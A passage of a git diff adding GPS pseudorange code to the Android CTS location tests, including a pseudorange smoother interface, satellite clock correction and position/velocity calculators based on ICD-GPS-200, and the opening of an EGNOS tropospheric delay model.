+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import java.util.List;
+
+/**
+ * Interface for smoothing a list of {@link GpsMeasurementWithRangeAndUncertainty} instances
+ * received at a point of time.
+ */
+interface PseudorangeSmoother {
+
+ /**
+ * Takes an input list of {@link GpsMeasurementWithRangeAndUncertainty} instances and returns a
+ * new list that contains smoothed pseudorange measurements.
+ *
+ * <p>The input list is of size {@link GpsNavigationMessageStore#MAX_NUMBER_OF_SATELLITES} with
+ * not visible GPS satellites having null entries, and the returned new list is of the same size.
+ *
+ * <p>The method does not modify the input list.
+ */
+ List<GpsMeasurementWithRangeAndUncertainty> updatePseudorangeSmoothingResult(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToGPSReceiverMeasurements);
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
new file mode 100644
index 0000000..8c4b055
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.pseudorange;
+import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
+/**
+ * Calculate the GPS satellite clock correction based on parameters observed from the navigation
+ * message
+ * <p>Source: Page 88 - 90 of the ICD-GPS 200
+ */
+public class SatelliteClockCorrectionCalculator {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final double EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 = 3.986005e14;
+ private static final double RELATIVISTIC_CONSTANT_F = -4.442807633e-10;
+ private static final int SECONDS_IN_WEEK = 604800;
+ private static final double ACCURACY_TOLERANCE = 1.0e-11;
+ private static final int MAX_ITERATIONS = 100;
+ /**
+ * Compute the GPS satellite clock correction term in meters iteratively following page 88 - 90
+ * and 98 - 100 of the ICD GPS 200. The method returns a pair of satellite clock correction in
+ * meters and Kepler Eccentric Anomaly in Radians.
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmission Reciever estimate of GPS time of week when signal was
+ * transmitted (seconds)
+ * @param receiverGpsWeekAtTimeOfTrasnmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @throws Exception
+ */
+ public static SatClockCorrection calculateSatClockCorrAndEccAnomAndTkIteratively(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmission,
+ double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+ // Units are not added in the variable names to have the same name as the ICD-GPS200
+ // Mean anomaly (radians)
+ double meanAnomalyRad;
+ // Kepler's Equation for Eccentric Anomaly iteratively (Radians)
+ double eccentricAnomalyRad;
+ // Semi-major axis of orbit (meters)
+ double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+ // Computed mean motion (radians/seconds)
+ double n0 = Math.sqrt(EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 / (a * a * a));
+ // Corrected mean motion (radians/seconds)
+ double n = n0 + ephemerisProto.deltaN;
+ // In the following, Receiver GPS week and ephemeris GPS week are used to correct for week
+ // rollover when calculating the time from clock reference epoch (tcSec)
+ double timeOfTransmissionIncludingRxWeekSec =
+ receiverGpsWeekAtTimeOfTrasnmission * SECONDS_IN_WEEK + receiverGpsTowAtTimeOfTransmission;
+ // time from clock reference epoch (seconds) page 88 ICD-GPS200
+ double tcSec = timeOfTransmissionIncludingRxWeekSec
+ - (ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toc);
+ // Correction for week rollover
+ tcSec = fixWeekRollover(tcSec);
+ double oldEcentricAnomalyRad = 0.0;
+ double newSatClockCorrectionSeconds = 0.0;
+ double relativisticCorrection = 0.0;
+ double changeInSatClockCorrection = 0.0;
+ // Initial satellite clock correction (unknown relativistic correction). Iterate to correct
+ // with the relativistic effect and obtain a stable
+ final double initSatClockCorrectionSeconds = ephemerisProto.af0
+ + ephemerisProto.af1 * tcSec
+ + ephemerisProto.af2 * tcSec * tcSec - ephemerisProto.tgd;
+ double satClockCorrectionSeconds = initSatClockCorrectionSeconds;
+ double tkSec;
+ int satClockCorrectionsCounter = 0;
+ do {
+ int eccentricAnomalyCounter = 0;
+ // time from ephemeris reference epoch (seconds) page 98 ICD-GPS200
+ tkSec = timeOfTransmissionIncludingRxWeekSec - (
+ ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+ + satClockCorrectionSeconds);
+ // Correction for week rollover
+ tkSec = fixWeekRollover(tkSec);
+ // Mean anomaly (radians)
+ meanAnomalyRad = ephemerisProto.m0 + n * tkSec;
+ // eccentric anomaly (radians)
+ eccentricAnomalyRad = meanAnomalyRad;
+ // Iteratively solve for Kepler's eccentric anomaly according to ICD-GPS200 page 99
+ do {
+ oldEcentricAnomalyRad = eccentricAnomalyRad;
+ eccentricAnomalyRad =
+ meanAnomalyRad + ephemerisProto.e * Math.sin(eccentricAnomalyRad);
+ eccentricAnomalyCounter++;
+ if (eccentricAnomalyCounter > MAX_ITERATIONS) {
+ throw new Exception("Kepler Eccentric Anomaly calculation did not converge in "
+ + MAX_ITERATIONS + " iterations");
+ }
+ } while (Math.abs(oldEcentricAnomalyRad - eccentricAnomalyRad) > ACCURACY_TOLERANCE);
+ // relativistic correction term (seconds)
+ relativisticCorrection = RELATIVISTIC_CONSTANT_F * ephemerisProto.e
+ * ephemerisProto.rootOfA * Math.sin(eccentricAnomalyRad);
+ // satellite clock correction including relativistic effect
+ newSatClockCorrectionSeconds = initSatClockCorrectionSeconds + relativisticCorrection;
+ changeInSatClockCorrection =
+ Math.abs(satClockCorrectionSeconds - newSatClockCorrectionSeconds);
+ satClockCorrectionSeconds = newSatClockCorrectionSeconds;
+ satClockCorrectionsCounter++;
+ if (satClockCorrectionsCounter > MAX_ITERATIONS) {
+ throw new Exception("Satellite Clock Correction calculation did not converge in "
+ + MAX_ITERATIONS + " iterations");
+ }
+ } while (changeInSatClockCorrection > ACCURACY_TOLERANCE);
+ tkSec = timeOfTransmissionIncludingRxWeekSec - (
+ ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+ + satClockCorrectionSeconds);
+ // return satellite clock correction (meters) and Kepler Eccentric Anomaly in Radians
+ return new SatClockCorrection(satClockCorrectionSeconds * SPEED_OF_LIGHT_MPS,
+ eccentricAnomalyRad, tkSec);
+ }
+
+ /**
+ * Calculates Satellite Clock Error Rate in (meters/second) by subtracting the Satellite
+ * Clock Error Values at t+0.5s and t-0.5s.
+ *
+ * <p>This approximation is more accurate than differentiating because both the orbital
+ * and relativity terms have non-linearities that are not easily differentiable.
+ */
+ public static double calculateSatClockCorrErrorRate(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionSeconds,
+ double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+ SatClockCorrection satClockCorrectionPlus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds + 0.5,
+ receiverGpsWeekAtTimeOfTrasnmission);
+ SatClockCorrection satClockCorrectionMinus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds - 0.5,
+ receiverGpsWeekAtTimeOfTrasnmission);
+ double satelliteClockErrorRate = satClockCorrectionPlus.satelliteClockCorrectionMeters
+ - satClockCorrectionMinus.satelliteClockCorrectionMeters;
+ return satelliteClockErrorRate;
+ }
+
+ /**
+ * Method to check for week rollover according to ICD-GPS 200 page 98.
+ *
+ * <p>Result should be between -302400 and 302400 if the ephemeris is within one week of
+ * transmission, otherwise it is adjusted to the correct range
+ */
+ private static double fixWeekRollover(double time) {
+ double correctedTime = time;
+ if (time > SECONDS_IN_WEEK / 2.0) {
+ correctedTime = time - SECONDS_IN_WEEK;
+ }
+ if (time < -SECONDS_IN_WEEK / 2.0) {
+ correctedTime = time + SECONDS_IN_WEEK;
+ }
+ return correctedTime;
+ }
+ /**
+ *
+ * Class containing the satellite clock correction parameters: The satellite clock correction in
+ * meters, Kepler Eccentric Anomaly in Radians and the time from the reference epoch in seconds.
+ */
+ public static class SatClockCorrection {
+ /**
+ * Satellite clock correction in meters
+ */
+ public final double satelliteClockCorrectionMeters;
+ /**
+ * Satellite clock correction in meters
+ */
+ public final double satelliteClockRateCorrectionMetersPerSecond;
+ /**
+ * Kepler Eccentric Anomaly in Radians
+ */
+ public final double eccentricAnomalyRadians;
+ /**
+ * Time from the reference epoch in Seconds
+ */
+ public final double timeFromRefEpochSec;
+ /**
+ * Constructor
+ */
+ public SatClockCorrection(double satelliteClockCorrectionMeters, double eccentricAnomalyRadians,
+ double timeFromRefEpochSec) {
+ this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+ this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+ this.timeFromRefEpochSec = timeFromRefEpochSec;
+ this.satelliteClockRateCorrectionMetersPerSecond = Double.NaN;
+ }
+ /**
+ * Alternative Constructor
+ */
+ public SatClockCorrection(double satelliteClockCorrectionMeters,
+ double satelliteClockRateCorrectionMeters, double eccentricAnomalyRadians,
+ double timeFromRefEpochSec){
+ this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+ this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+ this.timeFromRefEpochSec = timeFromRefEpochSec;
+ this.satelliteClockRateCorrectionMetersPerSecond = satelliteClockRateCorrectionMeters;
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
new file mode 100644
index 0000000..de7bfce
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
@@ -0,0 +1,298 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import android.location.cts.pseudorange.SatelliteClockCorrectionCalculator.SatClockCorrection;
+import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
+
+/* Class to calculate GPS satellite positions from the ephemeris data */
+public class SatellitePositionCalculator {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final double UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 = 3.986005e14;
+ private static final int NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION = 5;
+ private static final double EARTH_ROTATION_RATE_RAD_PER_SEC = 7.2921151467e-5;
+
+ /**
+ *
+ * Calculate GPS satellite position and velocity from ephemeris including the Sagnac effect
+ * starting from unknown user to satellite distance and speed. So we start from an initial guess
+ * of the user to satellite range and range rate and iterate to include the Sagnac effect. Few
+ * iterations are enough to achieve a satellite position with millimeter accuracy.
+ * A {@code PositionAndVelocity} class is returned containing satellite position in meters
+ * (x, y and z) and velocity in meters per second (x, y, z)
+ *
+ * <p>Satelite position and velocity equations are obtained from:
+ * http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+ * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmissionCorrectedSec Receiver estimate of GPS time of week
+ * when signal was transmitted corrected with the satellite clock drift (seconds)
+ * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @param userPosXMeters Last known user x-position (if known) [meters]
+ * @param userPosYMeters Last known user y-position (if known) [meters]
+ * @param userPosZMeters Last known user z-position (if known) [meters]
+ * @throws Exception
+ */
+ public static PositionAndVelocity calculateSatellitePositionAndVelocityFromEphemeris
+ (GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+ int receiverGpsWeekAtTimeOfTransmission,
+ double userPosXMeters,
+ double userPosYMeters,
+ double userPosZMeters) throws Exception {
+
+ // lets start with a first user to sat distance guess of 70 ms and zero velocity
+ RangeAndRangeRate userSatRangeAndRate = new RangeAndRangeRate
+ (0.070 * SPEED_OF_LIGHT_MPS, 0.0 /* range rate*/);
+
+ // To apply sagnac effect correction, We are starting from an approximate guess of the user to
+ // satellite range, iterate 3 times and that should be enough to reach millimeter accuracy
+ PositionAndVelocity satPosAndVel = new PositionAndVelocity(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
+ PositionAndVelocity userPosAndVel =
+ new PositionAndVelocity(userPosXMeters, userPosYMeters, userPosZMeters,
+ 0.0 /* user velocity x*/, 0.0 /* user velocity y*/, 0.0 /* user velocity z */);
+ for (int i = 0; i < NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION; i++) {
+ calculateSatellitePositionAndVelocity(ephemerisProto,
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec, receiverGpsWeekAtTimeOfTransmission,
+ userSatRangeAndRate, satPosAndVel);
+ computeUserToSatelliteRangeAndRangeRate(userPosAndVel, satPosAndVel, userSatRangeAndRate);
+ }
+ return satPosAndVel;
+ }
+
+ /**
+ * Calculate GPS satellite position and velocity from ephemeris based on the ICD-GPS-200.
+ * Satellite position in meters (x, y and z) and velocity in meters per second (x, y, z) are set
+ * in the passed {@code PositionAndVelocity} instance.
+ *
+ * <p>Sources: http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+ * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmissionCorrected Receiver estimate of GPS time of week when
+ * signal was transmitted corrected with the satellite clock drift (seconds)
+ * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @param userSatRangeAndRate user to satellite range and range rate
+ * @param satPosAndVel Satellite position and velocity instance in which the method results will
+ * be set
+ * @throws Exception
+ */
+ public static void calculateSatellitePositionAndVelocity(GpsEphemerisProto ephemerisProto,
+ double receiverGpsTowAtTimeOfTransmissionCorrected, int receiverGpsWeekAtTimeOfTransmission,
+ RangeAndRangeRate userSatRangeAndRate, PositionAndVelocity satPosAndVel) throws Exception {
+
+ // Calculate satellite clock correction (meters), Kepler Eccentric anomaly (radians) and time
+ // from ephemeris refrence epoch (tkSec) iteratively
+ SatClockCorrection satClockCorrectionValues =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionCorrected,
+ receiverGpsWeekAtTimeOfTransmission);
+
+ double eccentricAnomalyRadians = satClockCorrectionValues.eccentricAnomalyRadians;
+ double tkSec = satClockCorrectionValues.timeFromRefEpochSec;
+
+ // True_anomaly (angle from perigee)
+ double trueAnomalyRadians = Math.atan2(
+ Math.sqrt(1.0 - ephemerisProto.e * ephemerisProto.e)
+ * Math.sin(eccentricAnomalyRadians),
+ Math.cos(eccentricAnomalyRadians) - ephemerisProto.e);
+
+ // Argument of latitude of the satellite
+ double argumentOfLatitudeRadians = trueAnomalyRadians + ephemerisProto.omega;
+
+ // Radius of satellite orbit
+ double radiusOfSatelliteOrbitMeters = ephemerisProto.rootOfA * ephemerisProto.rootOfA
+ * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+
+ // Radius correction due to second harmonic perturbations of the orbit
+ double radiusCorrectionMeters = ephemerisProto.crc
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.crs
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+ // Argument of latitude correction due to second harmonic perturbations of the orbit
+ double argumentOfLatitudeCorrectionRadians = ephemerisProto.cuc
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cus
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+ // Correction to inclination due to second harmonic perturbations of the orbit
+ double inclinationCorrectionRadians = ephemerisProto.cic
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cis
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+
+ // Corrected radius of satellite orbit
+ radiusOfSatelliteOrbitMeters += radiusCorrectionMeters;
+ // Corrected argument of latitude
+ argumentOfLatitudeRadians += argumentOfLatitudeCorrectionRadians;
+ // Corrected inclination
+ double inclinationRadians =
+ ephemerisProto.i0 + inclinationCorrectionRadians + ephemerisProto.iDot * tkSec;
+
+ // Position in orbital plane
+ double xPositionMeters = radiusOfSatelliteOrbitMeters * Math.cos(argumentOfLatitudeRadians);
+ double yPositionMeters = radiusOfSatelliteOrbitMeters * Math.sin(argumentOfLatitudeRadians);
+
+ // Corrected longitude of the ascending node (signal propagation time is included to compensate
+ // for the Sagnac effect)
+ double omegaKRadians = ephemerisProto.omega0
+ + (ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC) * tkSec
+ - EARTH_ROTATION_RATE_RAD_PER_SEC
+ * (ephemerisProto.toe + userSatRangeAndRate.rangeMeters / SPEED_OF_LIGHT_MPS);
+
+ // compute the resulting satellite position
+ double satPosXMeters = xPositionMeters * Math.cos(omegaKRadians) - yPositionMeters
+ * Math.cos(inclinationRadians) * Math.sin(omegaKRadians);
+ double satPosYMeters = xPositionMeters * Math.sin(omegaKRadians) + yPositionMeters
+ * Math.cos(inclinationRadians) * Math.cos(omegaKRadians);
+ double satPosZMeters = yPositionMeters * Math.sin(inclinationRadians);
+
+ // Satellite Velocity Computation using the broadcast ephemeris
+ // http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ // Units are not added in some of the variable names to have the same name as the ICD-GPS200
+ // Semi-major axis of orbit (meters)
+ double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+ // Computed mean motion (radians/seconds)
+ double n0 = Math.sqrt(UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 / (a * a * a));
+ // Corrected mean motion (radians/seconds)
+ double n = n0 + ephemerisProto.deltaN;
+ // Derivative of mean anomaly (radians/seconds)
+ double meanAnomalyDotRadPerSec = n;
+ // Derivative of eccentric anomaly (radians/seconds)
+ double eccentricAnomalyDotRadPerSec =
+ meanAnomalyDotRadPerSec / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+ // Derivative of true anomaly (radians/seconds)
+ double trueAnomalydotRadPerSec = Math.sin(eccentricAnomalyRadians)
+ * eccentricAnomalyDotRadPerSec
+ * (1.0 + ephemerisProto.e * Math.cos(trueAnomalyRadians)) / (
+ Math.sin(trueAnomalyRadians)
+ * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)));
+ // Derivative of argument of latitude (radians/seconds)
+ double argumentOfLatitudeDotRadPerSec = trueAnomalydotRadPerSec + 2.0 * (ephemerisProto.cus
+ * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cuc
+ * Math.sin(2.0 * argumentOfLatitudeRadians)) * trueAnomalydotRadPerSec;
+ // Derivative of radius of satellite orbit (m/s)
+ double radiusOfSatelliteOrbitDotMPerSec = a * ephemerisProto.e
+ * Math.sin(eccentricAnomalyRadians) * n
+ / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)) + 2.0 * (
+ ephemerisProto.crs * Math.cos(2.0 * argumentOfLatitudeRadians)
+ - ephemerisProto.crc * Math.sin(2.0 * argumentOfLatitudeRadians))
+ * trueAnomalydotRadPerSec;
+ // Derivative of the inclination (radians/seconds)
+ double inclinationDotRadPerSec = ephemerisProto.iDot + (ephemerisProto.cis
+ * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cic
+ * Math.sin(2.0 * argumentOfLatitudeRadians)) * 2.0 * trueAnomalydotRadPerSec;
+
+ double xVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.cos(argumentOfLatitudeRadians)
+ - yPositionMeters * argumentOfLatitudeDotRadPerSec;
+ double yVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.sin(argumentOfLatitudeRadians)
+ + xPositionMeters * argumentOfLatitudeDotRadPerSec;
+
+ // Corrected rate of right ascension including compensation for the Sagnac effect
+ double omegaDotRadPerSec = ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC
+ * (1.0 + userSatRangeAndRate.rangeRateMetersPerSec / SPEED_OF_LIGHT_MPS);
+ // compute the resulting satellite velocity
+ double satVelXMPS =
+ (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+ * Math.cos(omegaKRadians) - (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+ * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+ * inclinationDotRadPerSec) * Math.sin(omegaKRadians);
+ double satVelYMPS =
+ (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+ * Math.sin(omegaKRadians) + (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+ * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+ * inclinationDotRadPerSec) * Math.cos(omegaKRadians);
+ double satVelZMPS = yVelocityMPS * Math.sin(inclinationRadians) + yPositionMeters
+ * Math.cos(inclinationRadians) * inclinationDotRadPerSec;
+
+ satPosAndVel.positionXMeters = satPosXMeters;
+ satPosAndVel.positionYMeters = satPosYMeters;
+ satPosAndVel.positionZMeters = satPosZMeters;
+ satPosAndVel.velocityXMetersPerSec = satVelXMPS;
+ satPosAndVel.velocityYMetersPerSec = satVelYMPS;
+ satPosAndVel.velocityZMetersPerSec = satVelZMPS;
+ }
+
+ /**
+ * Compute and set the passed {@code RangeAndRangeRate} instance containing user to satellite
+ * range (meters) and range rate (m/s) given the user position (ECEF meters), user velocity (m/s),
+ * satellite position (ECEF meters) and satellite velocity (m/s).
+ */
+ private static void computeUserToSatelliteRangeAndRangeRate(PositionAndVelocity userPosAndVel,
+ PositionAndVelocity satPosAndVel, RangeAndRangeRate rangeAndRangeRate) {
+ double dXMeters = satPosAndVel.positionXMeters - userPosAndVel.positionXMeters;
+ double dYMeters = satPosAndVel.positionYMeters - userPosAndVel.positionYMeters;
+ double dZMeters = satPosAndVel.positionZMeters - userPosAndVel.positionZMeters;
+ // range in meters
+ double rangeMeters = Math.sqrt(dXMeters * dXMeters + dYMeters * dYMeters + dZMeters * dZMeters);
+ // range rate in meters / second
+ double rangeRateMetersPerSec =
+ ((userPosAndVel.velocityXMetersPerSec - satPosAndVel.velocityXMetersPerSec) * dXMeters
+ + (userPosAndVel.velocityYMetersPerSec - satPosAndVel.velocityYMetersPerSec) * dYMeters
+ + (userPosAndVel.velocityZMetersPerSec - satPosAndVel.velocityZMetersPerSec) * dZMeters)
+ / rangeMeters;
+ rangeAndRangeRate.rangeMeters = rangeMeters;
+ rangeAndRangeRate.rangeRateMetersPerSec = rangeRateMetersPerSec;
+ }
+
+ /**
+ *
+ * A class containing position values (x, y, z) in meters and velocity values (x, y, z) in meters
+ * per seconds
+ */
+ public static class PositionAndVelocity {
+ /* x - position in meters */
+ public double positionXMeters;
+ /* y - position in meters */
+ public double positionYMeters;
+ /* z - position in meters */
+ public double positionZMeters;
+ /* x - velocity in meters */
+ public double velocityXMetersPerSec;
+ /* y - velocity in meters */
+ public double velocityYMetersPerSec;
+ /* z - velocity in meters */
+ public double velocityZMetersPerSec;
+
+ /* Constructor */
+ public PositionAndVelocity(double positionXMeters,
+ double positionYMeters,
+ double positionZMeters,
+ double velocityXMetersPerSec,
+ double velocityYMetersPerSec,
+ double velocityZMetersPerSec) {
+ this.positionXMeters = positionXMeters;
+ this.positionYMeters = positionYMeters;
+ this.positionZMeters = positionZMeters;
+ this.velocityXMetersPerSec = velocityXMetersPerSec;
+ this.velocityYMetersPerSec = velocityYMetersPerSec;
+ this.velocityZMetersPerSec = velocityZMetersPerSec;
+ }
+ }
+
+ /* A class containing range of satellite to user in meters and range rate in meters per seconds */
+ public static class RangeAndRangeRate {
+ /* Range in meters */
+ public double rangeMeters;
+ /* Range rate in meters per seconds */
+ public double rangeRateMetersPerSec;
+
+ /* Constructor */
+ public RangeAndRangeRate(double rangeMeters, double rangeRateMetersPerSec) {
+ this.rangeMeters = rangeMeters;
+ this.rangeRateMetersPerSec = rangeRateMetersPerSec;
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java b/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
new file mode 100644
index 0000000..6fa63a0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
@@ -0,0 +1,324 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+/**
+ * Calculate the troposheric delay based on the ENGOS Tropospheric model.
+ *
+ * <p>The tropospheric delay is modeled as a combined effect of the delay experienced due to
+ * hyrostatic (dry) and wet components of the troposphere. Both delays experienced at zenith are
+ * scaled with a mapping function to get the delay at any specific elevation.
+ *
+ * <p>The tropospheric model algorithm of EGNOS model by Penna, N., A. Dodson and W. Chen (2001)
+ * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917) is used
+ * for calculating the zenith delays. In this model, the weather parameters are extracted using
+ * interpolation from lookup table derived from the US Standard Atmospheric Supplements, 1966.
+ *
+ * <p>A close form mapping function is built using Guo and Langley, 2003
+ * (http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf) which is able to calculate accurate
+ * mapping down to 2 degree elevations.
+ *
+ * <p>Sources:
+ * <p>http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917
+ * <p>- http://www.academia.edu/3512180/Assessment_of_UNB3M_neutral
+ * _atmosphere_model_and_EGNOS_model_for_near-equatorial-tropospheric_delay_correction
+ * <p>- http://gauss.gge.unb.ca/papers.pdf/ion52am.collins.pdf
+ * <p>- http://www.navipedia.net/index.php/Tropospheric_Delay#cite_ref-3
+ * <p>Hydrostatic and non-hydrostatic mapping functions are obtained from:
+ * http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+ *
+ */
+public class TroposphericModelEgnos {
+ // parameters of the EGNOS models
+ private static final int INDEX_15_DEGREES = 0;
+ private static final int INDEX_75_DEGREES = 4;
+ private static final int LATITUDE_15_DEGREES = 15;
+ private static final int LATITUDE_75_DEGREES = 75;
+ // Lookup Average parameters
+ // Troposphere average presssure mbar
+ private static final double[] latDegreeToPressureMbarAvgMap =
+ {1013.25, 1017.25, 1015.75, 1011.75, 1013.0};
+ // Troposphere average temperature Kelvin
+ private static final double[] latDegreeToTempKelvinAvgMap =
+ {299.65, 294.15, 283.15, 272.15, 263.65};
+ // Troposphere average wator vapor pressure
+ private static final double[] latDegreeToWVPressureMbarAvgMap = {26.31, 21.79, 11.66, 6.78, 4.11};
+ // Troposphere average temperature lapse rate K/m
+ private static final double[] latDegreeToBetaAvgMapKPM =
+ {6.30e-3, 6.05e-3, 5.58e-3, 5.39e-3, 4.53e-3};
+ // Troposphere average water vapor lapse rate (dimensionless)
+ private static final double[] latDegreeToLampdaAvgMap = {2.77, 3.15, 2.57, 1.81, 1.55};
+
+ // Lookup Amplitude parameters
+ // Troposphere amplitude presssure mbar
+ private static final double[] latDegreeToPressureMbarAmpMap = {0.0, -3.75, -2.25, -1.75, -0.5};
+ // Troposphere amplitude temperature Kelvin
+ private static final double[] latDegreeToTempKelvinAmpMap = {0.0, 7.0, 11.0, 15.0, 14.5};
+ // Troposphere amplitude wator vapor pressure
+ private static final double[] latDegreeToWVPressureMbarAmpMap = {0.0, 8.85, 7.24, 5.36, 3.39};
+ // Troposphere amplitude temperature lapse rate K/m
+ private static final double[] latDegreeToBetaAmpMapKPM =
+ {0.0, 0.25e-3, 0.32e-3, 0.81e-3, 0.62e-3};
+ // Troposphere amplitude water vapor lapse rate (dimensionless)
+ private static final double[] latDegreeToLampdaAmpMap = {0.0, 0.33, 0.46, 0.74, 0.30};
+ // Zenith delay dry constant K/mbar
+ private static final double K1 = 77.604;
+ // Zenith delay wet constant K^2/mbar
+ private static final double K2 = 382000.0;
+ // gas constant for dry air J/kg/K
+ private static final double RD = 287.054;
+ // Acceleration of gravity at the atmospheric column centroid m/s^-2
